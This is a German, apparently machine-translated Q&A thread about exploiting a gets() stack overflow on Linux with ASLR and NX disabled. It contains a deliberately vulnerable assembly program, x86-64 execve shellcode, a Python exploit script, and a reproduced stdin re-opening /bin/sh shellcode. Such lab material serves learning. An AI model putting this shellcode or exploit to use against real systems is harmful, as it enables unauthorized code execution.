2010-05-18 3 views
15

Ich spielte mit Pufferüberläufen auf Linux (amd64) und versucht, ein einfaches Programm zu nutzen, aber es ist fehlgeschlagen. Ich habe die Sicherheitsfunktionen deaktiviert (Adressraum-Layout-Randomisierung mit sysctl -w kernel.randomize_va_space = 0 und nx-Bit im BIOS). Es springt zum Stack und führt den Shellcode aus, aber es startet keine Shell. Der Execve-Syscall ist erfolgreich, aber danach wird er einfach beendet. Irgendeine Idee, was ist los? Das Ausführen des Shellcode Standalone funktioniert gut.Shellcode für einen einfachen Stack-Überlauf: Exploited Programm mit Shell endet direkt nach Execve ("/ bin/sh")

Bonusfrage: Warum muss ich vor dem Aufruf von printf rax auf Null setzen? (Siehe Kommentar im Code)

Vulnerable Datei buffer.s:

.data 
.fmtsp: 
.string "Stackpointer %p\n" 
.fmtjump: 
.string "Jump to %p\n" 
.text 
.global main 
main: 
    push %rbp 
    mov %rsp, %rbp 

    sub $120, %rsp 

    # calling printf without setting rax 
    # to zero results in a segfault. why? 
    xor %rax, %rax 
    mov %rsp, %rsi 
    mov $.fmtsp, %rdi 
    call printf 

    mov %rsp, %rdi 
    call gets 

    xor %rax, %rax 
    mov $.fmtjump, %rdi 
    mov 8(%rbp), %rsi 
    call printf 

    xor %rax, %rax 
    leave 
    ret 

shellcode.s

.text 
.global main 
main: 
    mov $0x68732f6e69622fff, %rbx 
    shr $0x8, %rbx 
    push %rbx 
    mov %rsp, %rdi 
    xor %rsi, %rsi 
    xor %rdx, %rdx 
    xor %rax, %rax 
    add $0x3b, %rax 
    syscall 

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" 
stackpointer = "\x7f\xff\xff\xff\xe3\x28" 
output = shellcode 
output += 'a' * (120 - len(shellcode)) # fill buffer 
output += 'b' * 8 # override stored base pointer 
output += ''.join(reversed(stackpointer)) 
print output 

Zusammengestellt mit:

$ gcc -o buffer buffer.s 
$ gcc -o shellcode shellcode.s 

Schritte mit:

$ python exploit.py | ./buffer 
Stackpointer 0x7fffffffe328 
Jump to 0x7fffffffe328 

Debugging mit GDB:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) 
$ gdb buffer 
(gdb) run < exploit.txt 
Starting program: /home/henning/bo/buffer < exploit.txt 
Stackpointer 0x7fffffffe308 
Jump to 0x7fffffffe308 
process 4185 is executing new program: /bin/dash 

Program exited normally. 
+0

Ich nehme% rsi% ist argv. Kann es NULL sein? –

+0

Shellcode direkt ausführen ("$ ./shellcode") funktioniert, also nehme ich an, dass es kein Problem sein sollte. Die C äquivalente #include void main() {execve ("/ bin/sh", NULL, NULL); } startet auch eine Shell. – henning

+0

Was ist der Fehler, den Sie bekommen? Konntest du das herausfinden (ich nehme an, es ist% rax%)? –

Antwort

10

Ich bin so ziemlich das gleiche Problem jetzt mit Ubuntu 9.10 in einer VM mit. Deaktiviert alle Sicherheitsmaßnahmen des Betriebssystems, und einfache Exploits wie "Beenden des Programms und Festlegen des Exit-Codes auf 42" funktionieren zwar, aber beim Versuch, eine Shell zu öffnen, wird das Programm einfach beendet. Ausgabe von gdb ist identisch:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 

Enter password: Sorry. Wrong password. 
Executing new program: /bin/bash 

Program exited normally. 
(gdb)

Das Ding ist, ich brauche es in ca. arbeiten. 16 Stunden für eine Präsentation :-D


Update: ich diese ordentlich Studie fand heraus: www.shell-storm.org/papers/files/539.pdf

Auf Seite 16 heißt es: "Wenn wir versuchen, eine Shell auszuführen, wird sie sofort in dieser Konfiguration beendet"

In anderen Beispielen, die nicht gets() verwenden, spawnen sie sehr gut eine Shell. Leider geben sie keinen Hinweis darauf, warum es so nicht funktioniert. :(


Nächstes Update: Es scheint, es mit stdin zu tun hat, die Schale nicht richtig, die man verwenden kann es aus dem ursprünglichen Prozess bekommt Ich habe versucht, eine minimale Shell ich mit dem Sourcecode für (evilsh) gefunden.. . es befindet sich auf der Stelle abgestürzt, wo er versucht, Eingang zu lesen. Meine Vermutung ist, tritt aus, dass bash/dash Kontrollen für dieses und nur still, wenn etwas mit stdin falsch ist.


Ok bitte töte mich nicht für dieses Gespräch mit mir hier zu führen, aber ...

fand ich eine Lösung!

Aus irgendeinem Grund ist es notwendig, die Eingaben wieder zu öffnen. Ich fand hier eine Arbeitsshellcode:

http://www.milw0rm.com/shellcode/2040

ich keine Aufforderung hart sehen, aber ich kann Programme usw. mit der Shell ausgeführt, das sich öffnet.

+2

Meiner bescheidenen Meinung nach muss die stdin im Shellcode wieder geöffnet werden, weil die Shell das "end-of-file" von exploit.txt aus der freigegebenen stdin liest. Um es anders auszudrücken, wenn die Shell beginnt, enthält der Puffer von stdin "end-of-file", weil die stdin zwischen der Shell und dem ursprünglichen Programm geteilt wird. – feirainy

1

Die Verbindung von Zenoc vorgesehen ist tot, aber trotzdem in der Wayback Maschine. Der Einfachheit halber habe ich es unten wiedergegeben. Ich musste add $0x10,%esp an der Oberseite einschließen, um mir mehr Stapelraum zu geben, da alle push es im Code in den Puffer aßen, in dem mein shellcode gespeichert wurde. Wenn Sie das auch in den Shellcode aufnehmen möchten, fügen Sie einfach "\ x83 \ xc4 \ x10" zum Start hinzu. Der Shellcode ist 55 Byte ohne meine Addition und 58 mit.

/* 
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $ 
* 
* gets-linux.c - stdin re-open shellcode for Linux/x86 
* Copyright (c) 2003 Marco Ivaldi <[email protected]> 
* 
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh. 
* Useful to exploit some gets() buffer overflows in an elegant way... 
*/ 

/* 
* close(0) 
* 
* 8049380:  31 c0     xor %eax,%eax 
* 8049382:  31 db     xor %ebx,%ebx 
* 8049384:  b0 06     mov $0x6,%al 
* 8049386:  cd 80     int $0x80 
* 
* open("/dev/tty", O_RDWR | ...) 
* 
* 8049388:  53      push %ebx 
* 8049389:  68 2f 74 74 79   push $0x7974742f 
* 804938e:  68 2f 64 65 76   push $0x7665642f 
* 8049393:  89 e3     mov %esp,%ebx 
* 8049395:  31 c9     xor %ecx,%ecx 
* 8049397:  66 b9 12 27    mov $0x2712,%cx 
* 804939b:  b0 05     mov $0x5,%al 
* 804939d:  cd 80     int $0x80 
* 
* execve("/bin/sh", ["/bin/sh"], NULL) 
* 
* 804939f:  31 c0     xor %eax,%eax 
* 80493a1:  50      push %eax 
* 80493a2:  68 2f 2f 73 68   push $0x68732f2f 
* 80493a7:  68 2f 62 69 6e   push $0x6e69622f 
* 80493ac:  89 e3     mov %esp,%ebx 
* 80493ae:  50      push %eax 
* 80493af:  53      push %ebx 
* 80493b0:  89 e1     mov %esp,%ecx 
* 80493b2:  99      cltd 
* 80493b3:  b0 0b     mov $0xb,%al 
* 80493b5:  cd 80     int $0x80 
*/ 

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80" 
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80" 
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; 

main() 
{ 
    int (*f)() = (int (*)())sc; f(); 
} 

// milw0rm.com [2006-07-20] 

Hinweis: Ich konnte nicht dieses Add als bearbeiten zu Zenoc Antwort, weil die Bearbeitungswarteschlange voll ist.

Wenn Sie Probleme haben, die Adresse Ihres Shellcodes aufgrund unterschiedlicher Stapel im Terminal und gdb zu lokalisieren, werfen Sie einen Blick auf meine Antwort here.

Verwandte Themen